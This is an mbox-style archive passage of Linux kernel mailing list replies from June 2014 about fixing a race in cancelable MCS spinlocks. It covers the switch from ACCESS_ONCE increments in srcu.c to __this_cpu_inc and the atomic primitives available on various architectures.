         t9iWZmAX1HsCJRYhKskpw24rmH/ftK71ll6m08UrhE109hqWguRe9Y+u+bjefSGF8xjE
         BXTKuawSrPTdb8cGZFSjK6s6qUl8syS0RkaGPlUw9P5VDLQ6ES6iQGs8xCmh0DJOV14d
         rG6A==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linux-foundation.org; s=google;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=KRuO2iUhQ5DTg1UWOB8/Nr9Z/5fUbVWXXpN2pd8a7rE=;
        b=OHph8xpjOn/hXPW81vR7L4tVh/OTlb9fbWiMMiRI3pgyk9LokESU+t5q4DMSav4kH+
         2Qvk/fiDn0r2445r28p86nBegh3uPaYMY2QUzUYZ0yPcMdjAZHTuIGBBEKzjVZ3vxeyF
         g8BevXDmOJrKTRYG/DcV3ijX6b6dQk+ePbvQE=
X-Received: by 10.53.12.229 with SMTP id et5mr6979667vdd.32.1401749757221;
 Mon, 02 Jun 2014 15:55:57 -0700 (PDT)
Original-Received: by 10.220.13.16 with HTTP; Mon, 2 Jun 2014 15:55:57 -0700 (PDT)
In-Reply-To: <20140602220831.GG22231@linux.vnet.ibm.com>
X-Google-Sender-Auth: b7C94md1GZdiVhnTtisYhvM0zyM
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5855 gmane.linux.kernel:1716526
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5855>

On Mon, Jun 2, 2014 at 3:08 PM, Paul E. McKenney
<paulmck@linux.vnet.ibm.com> wrote:
>
> rcu: Eliminate read-modify-write ACCESS_ONCE() calls
>
>         preempt_disable();
> -       ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->c[idx]) += 1;
> +       lp = this_cpu_ptr(&sp->per_cpu_ref->c[idx]);
> +       ACCESS_ONCE(*lp) = *lp + 1;
>         smp_mb(); /* B */  /* Avoid leaking the critical section. */
> -       ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->seq[idx]) += 1;
> +       lp = this_cpu_ptr(&sp->per_cpu_ref->seq[idx]);
> +       ACCESS_ONCE(*lp) = *lp + 1;
>         preempt_enable();
>         return idx;

What Eric said. This should just use "this_cpu_inc()" instead.
Particularly with the smp_mb() and the preempt_enable(), there's no
way that could/should leak, and the ACCESS_ONCE() seems pointless and
ugly.

And the good news is, gcc _will_ generate good code for that.

              Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 16:17:30 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <20140602231730.GH22231@linux.vnet.ibm.com>
References: <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <20140602163032.GI16155@laptop.programming.kicks-ass.net>
 <538CB56E.5010709@hp.com>
 <20140602200525.GD13930@laptop.programming.kicks-ass.net>
 <CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
 <20140602210227.GE22231@linux.vnet.ibm.com>
 <CA+55aFzX3oDvzqh4AfkJ7-X1Yfo8obFM+jOOmwzeN-GyqOPLJg@mail.gmail.com>
 <20140602220831.GG22231@linux.vnet.ibm.com>
 <1401749088.3645.189.camel@edumazet-glaptop2.roam.corp.google.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401751070 18858 80.91.229.3 (2 Jun 2014 23:17:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 23:17:50 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>,
	Waiman Long <waiman.long@hp.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Eric Dumazet <eric.dumazet@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 01:17:40 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrbU2-00078J-QU
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 01:17:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752201AbaFBXRh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 19:17:37 -0400
Original-Received: from e37.co.us.ibm.com ([32.97.110.158]:60135 "EHLO
	e37.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751572AbaFBXRh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 19:17:37 -0400
Original-Received: from /spool/local
	by e37.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Mon, 2 Jun 2014 17:17:36 -0600
Original-Received: from d03dlp03.boulder.ibm.com (9.17.202.179)
	by e37.co.us.ibm.com (192.168.1.137) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 2 Jun 2014 17:17:33 -0600
Original-Received: from b03cxnp07028.gho.boulder.ibm.com (b03cxnp07028.gho.boulder.ibm.com [9.17.130.15])
	by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id E006C19D803F;
	Mon,  2 Jun 2014 17:17:25 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp07028.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s52NGJ2E5833084;
	Tue, 3 Jun 2014 01:16:19 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s52NLVGV013144;
	Mon, 2 Jun 2014 17:21:33 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s52NLViL013121;
	Mon, 2 Jun 2014 17:21:31 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 938C43814C4; Mon,  2 Jun 2014 16:17:30 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1401749088.3645.189.camel@edumazet-glaptop2.roam.corp.google.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060223-7164-0000-0000-0000022CAADB
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5856 gmane.linux.kernel:1716540
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5856>

On Mon, Jun 02, 2014 at 03:44:48PM -0700, Eric Dumazet wrote:
> On Mon, 2014-06-02 at 15:08 -0700, Paul E. McKenney wrote:
> 
> > diff --git a/kernel/rcu/srcu.c b/kernel/rcu/srcu.c
> > index c639556f3fa0..c0120279dead 100644
> > --- a/kernel/rcu/srcu.c
> > +++ b/kernel/rcu/srcu.c
> > @@ -295,12 +295,15 @@ EXPORT_SYMBOL_GPL(cleanup_srcu_struct);
> >  int __srcu_read_lock(struct srcu_struct *sp)
> >  {
> >  	int idx;
> > +	unsigned long *lp;
> >  
> >  	idx = ACCESS_ONCE(sp->completed) & 0x1;
> >  	preempt_disable();
> > -	ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->c[idx]) += 1;
> > +	lp = this_cpu_ptr(&sp->per_cpu_ref->c[idx]);
> > +	ACCESS_ONCE(*lp) = *lp + 1;
> >  	smp_mb(); /* B */  /* Avoid leaking the critical section. */
> > -	ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->seq[idx]) += 1;
> > +	lp = this_cpu_ptr(&sp->per_cpu_ref->seq[idx]);
> > +	ACCESS_ONCE(*lp) = *lp + 1;
> >  	preempt_enable();
> >  	return idx;
> >  
> 
> This probably could use the following 
> 
> diff --git a/kernel/rcu/srcu.c b/kernel/rcu/srcu.c
> index c639556f3fa0..3a97eb6f9076 100644
> --- a/kernel/rcu/srcu.c
> +++ b/kernel/rcu/srcu.c
> @@ -298,9 +298,9 @@ int __srcu_read_lock(struct srcu_struct *sp)
> 
>  	idx = ACCESS_ONCE(sp->completed) & 0x1;
>  	preempt_disable();
> -	ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->c[idx]) += 1;
> +	this_cpu_inc(sp->per_cpu_ref->c[idx]);
>  	smp_mb(); /* B */  /* Avoid leaking the critical section. */
> -	ACCESS_ONCE(this_cpu_ptr(sp->per_cpu_ref)->seq[idx]) += 1;
> +	this_cpu_inc(sp->per_cpu_ref->seq[idx]);
>  	preempt_enable();
>  	return idx;
>  }

Good point!

But given that I already have preemption disabled and given that
__srcu_read_lock() is not to be used by irq handlers, I should be able to
use __this_cpu_inc(), correct?  Just to avoid unnecessary irq disabling
on non-x86 platforms...

Seems to pass a quick build, so trying a bit heavier testing.

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Dumazet <eric.dumazet@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 16:53:44 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <1401753224.3645.190.camel@edumazet-glaptop2.roam.corp.google.com>
References: <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
	 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
	 <20140602163032.GI16155@laptop.programming.kicks-ass.net>
	 <538CB56E.5010709@hp.com>
	 <20140602200525.GD13930@laptop.programming.kicks-ass.net>
	 <CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
	 <20140602210227.GE22231@linux.vnet.ibm.com>
	 <CA+55aFzX3oDvzqh4AfkJ7-X1Yfo8obFM+jOOmwzeN-GyqOPLJg@mail.gmail.com>
	 <20140602220831.GG22231@linux.vnet.ibm.com>
	 <1401749088.3645.189.camel@edumazet-glaptop2.roam.corp.google.com>
	 <20140602231730.GH22231@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401753253 8986 80.91.229.3 (2 Jun 2014 23:54:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 23:54:13 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>,
	Waiman Long <waiman.long@hp.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: paulmck@linux.vnet.ibm.com
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 01:54:00 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wrc3E-00020H-B4
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 01:54:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751658AbaFBXx7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 19:53:59 -0400
Original-Received: from mail-pb0-f53.google.com ([209.85.160.53]:57559 "EHLO
	mail-pb0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751955AbaFBXxq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 19:53:46 -0400
Original-Received: by mail-pb0-f53.google.com with SMTP id md12so4684845pbc.26
        for <multiple recipients>; Mon, 02 Jun 2014 16:53:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:subject:from:to:cc:date:in-reply-to:references
         :content-type:content-transfer-encoding:mime-version;
        bh=RUc6VBBxTbWrnkuWHlzrBuKz4Z1OovNG4HMnJXSTKmY=;
        b=WRy/rLw4rCzdadzEVx6ytifMVZgI4yqsGyjr2ikSk1WEj3AIPIVGDeKfeDb557ZPsq
         NmRxp0Mi1gjxSEUJGiTaF5mK377reXy9k916vIrSqzUrG+59c654+ofLxLTXOprCvSHG
         GnqtSbT+9bIRFoPK9V0zjkgATwQvwDyAw/4XCwR3DpxNCJfn3VwpusDgDwYUssgt9M7t
         yzNFhfCvi2OmTi2zJki/9LmHnQpE8IEngw3K6KuSoRlQ/RU1GNCHiknphs/U4ycI8fSf
         q8oORQY5wo0Y/EQouhN2WXTpqrKQYi9fjv7aFwlq48BeOgK7F6L3zxqaH+k9MvIwr+Mk
         mqHw==
X-Received: by 10.68.254.103 with SMTP id ah7mr44717837pbd.159.1401753226083;
        Mon, 02 Jun 2014 16:53:46 -0700 (PDT)
Original-Received: from ?IPv6:2620:0:1000:3e02:29c4:7088:9f04:f3e9? ([2620:0:1000:3e02:29c4:7088:9f04:f3e9])
        by mx.google.com with ESMTPSA id wt6sm20307218pac.29.2014.06.02.16.53.44
        for <multiple recipients>
        (version=SSLv3 cipher=RC4-SHA bits=128/128);
        Mon, 02 Jun 2014 16:53:45 -0700 (PDT)
In-Reply-To: <20140602231730.GH22231@linux.vnet.ibm.com>
X-Mailer: Evolution 3.2.3-0ubuntu6 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5857 gmane.linux.kernel:1716555
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5857>

On Mon, 2014-06-02 at 16:17 -0700, Paul E. McKenney wrote:

> But given that I already have preemption disabled and given that
> __srcu_read_lock() is not to be used by irq handlers, I should be able to
> use __this_cpu_inc(), correct?  Just to avoid unnecessary irq disabling
> on non-x86 platforms...

Absolutely, __this_cpu_inc() is OK here.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul E. McKenney" <paulmck@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 2 Jun 2014 17:28:23 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20140603002823.GI22231@linux.vnet.ibm.com>
References: <20140602163032.GI16155@laptop.programming.kicks-ass.net>
 <538CB56E.5010709@hp.com>
 <20140602200525.GD13930@laptop.programming.kicks-ass.net>
 <CA+55aFwJwVf_MbcwNNWg-KrLdoOaV2xse2jzvBZTJHJgC_Htvg@mail.gmail.com>
 <20140602210227.GE22231@linux.vnet.ibm.com>
 <CA+55aFzX3oDvzqh4AfkJ7-X1Yfo8obFM+jOOmwzeN-GyqOPLJg@mail.gmail.com>
 <20140602220831.GG22231@linux.vnet.ibm.com>
 <1401749088.3645.189.camel@edumazet-glaptop2.roam.corp.google.com>
 <20140602231730.GH22231@linux.vnet.ibm.com>
 <1401753224.3645.190.camel@edumazet-glaptop2.roam.corp.google.com>
Reply-To: paulmck@linux.vnet.ibm.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1401755324 29884 80.91.229.3 (3 Jun 2014 00:28:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 00:28:44 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>,
	Waiman Long <waiman.long@hp.com>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Eric Dumazet <eric.dumazet@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 02:28:34 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wrcac-00050I-IG
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 02:28:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932076AbaFCA23 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 20:28:29 -0400
Original-Received: from e32.co.us.ibm.com ([32.97.110.150]:47537 "EHLO
	e32.co.us.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753009AbaFCA22 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 20:28:28 -0400
Original-Received: from /spool/local
	by e32.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <paulmck@linux.vnet.ibm.com>;
	Mon, 2 Jun 2014 18:28:28 -0600
Original-Received: from d03dlp01.boulder.ibm.com (9.17.202.177)
	by e32.co.us.ibm.com (192.168.1.132) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 2 Jun 2014 18:28:26 -0600
Original-Received: from b03cxnp07028.gho.boulder.ibm.com (b03cxnp07028.gho.boulder.ibm.com [9.17.130.15])
	by d03dlp01.boulder.ibm.com (Postfix) with ESMTP id 9B1B41FF003E;
	Mon,  2 Jun 2014 18:28:25 -0600 (MDT)
Original-Received: from d03av06.boulder.ibm.com (d03av06.boulder.ibm.com [9.17.195.245])
	by b03cxnp07028.gho.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s530RCKY12320820;
	Tue, 3 Jun 2014 02:27:12 +0200
Original-Received: from d03av06.boulder.ibm.com (loopback [127.0.0.1])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id s530WOfw027857;
	Mon, 2 Jun 2014 18:32:26 -0600
Original-Received: from paulmck-ThinkPad-W500 ([9.70.82.160])
	by d03av06.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id s530WOZ2027851;
	Mon, 2 Jun 2014 18:32:24 -0600
Original-Received: by paulmck-ThinkPad-W500 (Postfix, from userid 1000)
	id 68EDC3814C4; Mon,  2 Jun 2014 17:28:23 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <1401753224.3645.190.camel@edumazet-glaptop2.roam.corp.google.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14060300-0928-0000-0000-000002673339
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5858 gmane.linux.kernel:1716571
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5858>

On Mon, Jun 02, 2014 at 04:53:44PM -0700, Eric Dumazet wrote:
> On Mon, 2014-06-02 at 16:17 -0700, Paul E. McKenney wrote:
> 
> > But given that I already have preemption disabled and given that
> > __srcu_read_lock() is not to be used by irq handlers, I should be able to
> > use __this_cpu_inc(), correct?  Just to avoid unnecessary irq disabling
> > on non-x86 platforms...
> 
> Absolutely, __this_cpu_inc() is OK here.

Cool, giving it a test...

							Thanx, Paul

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Zijlstra <peterz@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Tue, 3 Jun 2014 09:20:05 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <20140603072005.GG11096@twins.programming.kicks-ass.net>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>
 <20140602162525.GH16155@laptop.programming.kicks-ass.net>
 <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com>
 <alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="fcasAdn045BL8lzs"
X-Trace: ger.gmane.org 1401780053 17849 80.91.229.3 (3 Jun 2014 07:20:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 3 Jun 2014 07:20:53 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Waiman Long <Waiman.Long@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Davidlohr Bueso <davidlohr@hp.com>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 03 09:20:44 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Wrj1T-00017C-Hi
	for glpp-linux-parisc@plane.gmane.org; Tue, 03 Jun 2014 09:20:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753232AbaFCHUi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 3 Jun 2014 03:20:38 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.9]:51653 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752861AbaFCHUh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 3 Jun 2014 03:20:37 -0400
Original-Received: from dhcp-077-248-225-117.chello.nl ([77.248.225.117] helo=twins)
	by bombadil.infradead.org with esmtpsa (Exim 4.80.1 #2 (Red Hat Linux))
	id 1Wrj13-0001HO-1Q; Tue, 03 Jun 2014 07:20:13 +0000
Original-Received: by twins (Postfix, from userid 1000)
	id CE60E80155CD; Tue,  3 Jun 2014 09:20:05 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.02.1406021622200.5874@file01.intranet.prod.int.rdu2.redhat.com>
User-Agent: Mutt/1.5.21 (2012-12-30)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5859 gmane.linux.kernel:1716704
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5859>


--fcasAdn045BL8lzs
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, Jun 02, 2014 at 04:46:32PM -0400, Mikulas Patocka wrote:
> It's not only parisc - tile32, arc, metag (maybe hexagon) are broken too,=
=20
> because they don't have cmpxchg in hardware.

metag actually does, and the lock1 thing is a fallback/test thing:

config METAG_ATOMICITY_LOCK1
	depends on SMP
	bool "lock1"
	help
	  This option uses the LOCK1 instruction for atomicity. This is mainly
	  provided as a debugging aid if the lnkget/lnkset atomicity primitive
	  isn't working properly.

Then again, metag has qualiteee bits like:

config METAG_SMP_WRITE_REORDERING
	bool
	help
	  This attempts to prevent cache-memory incoherence due to external
	  reordering of writes from different hardware threads when SMP is
	  enabled. It adds fences (system event 0) to smp_mb and smp_rmb in an
	  attempt to catch some of the cases, and also before writes to shared
	  memory in LOCK1 protected atomics and spinlocks.
	  This will not completely prevent cache incoherency on affected cores.

Which makes me back away slowly before starting to run.

And there is sane arc hardware:

config ARC_HAS_LLSC
	bool "Insn: LLOCK/SCOND (efficient atomic ops)"
	default y
	depends on ARC_CPU_770 && !ARC_CANT_LLSC

tile32 is indeed equally wrecked, but at least they have a tile64 system
that is useful (albeit somewhat strange).

Same for sparc32, there's sparc64 which is sane.

parisc otoh is a dead arch that never got sane.

--fcasAdn045BL8lzs
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)

iQIcBAEBAgAGBQJTjXclAAoJEHZH4aRLwOS6GfUP/0PvUigk+xCoOmj+kbq410lS
